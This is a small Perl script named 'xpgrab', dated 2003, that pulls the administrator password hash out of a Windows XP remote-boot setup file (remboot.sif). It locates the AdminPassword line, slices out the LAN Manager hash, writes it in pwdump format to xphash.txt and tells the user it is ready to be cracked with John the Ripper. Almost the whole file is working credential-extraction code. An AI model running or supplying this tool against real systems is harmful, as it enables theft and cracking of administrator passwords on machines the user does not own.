#!/usr/bin/perl
# Script Name:xpgrab
# Script Version: 0.01
# Date: 02/27/2003
# Written by: Joseph B. Zekany (aka Zucchini)
# NOTE:
# If you are going to run this program in windoz add a .pl extension.
# For example (xpgrab.pl)
# Revision History:
# 0.01: Original Version
# -----------------------------------------------------------------------------

$file = $ARGV[0];
if ($file) {
    open( FILE, "$file" )
      || die
      "Could not open $file for reading please check if the file exists:\n $!";
    @info = <FILE>;
    close(FILE);
    for ( $i = 0 ; $i < @info ; $i++ ) {
        if ( $info[$i] =~ /\bAdminPassword/ ) {
            @xphash  = split( "", $info[$i] );
            @xphash1 = @xphash[ 18 .. 49 ];
            @xphash2 = @xphash[ 50 .. 83 ];
            $xphash1 = join( "", @xphash1 );
            $xphash2 = join( "", @xphash2 );
            $xphash  = "Administrator: 500:$xphash1:$xphash2\:::";

            open( HASH, "> xphash.txt" )
              || die "Could not open file for writiing: $!";
            print HASH $xphash;
            close(HASH);

            print "\n\nThe Lan Manager hash has been recovered, and is now\n";
            print "stored in a file named xphash.txt in the local directory.\n";
            print "It is now ready to be sent to John ";
            print "for further processing.;^)\n\n";

        }
    }
}
else {
    print "Written by:\n\t\tJoseph B. Zekany\n";
    print "Date:\n\t\t02/27/2003\n";
    print "Usage:\n\t\txpgrab <remboot.sif>\n\n";
}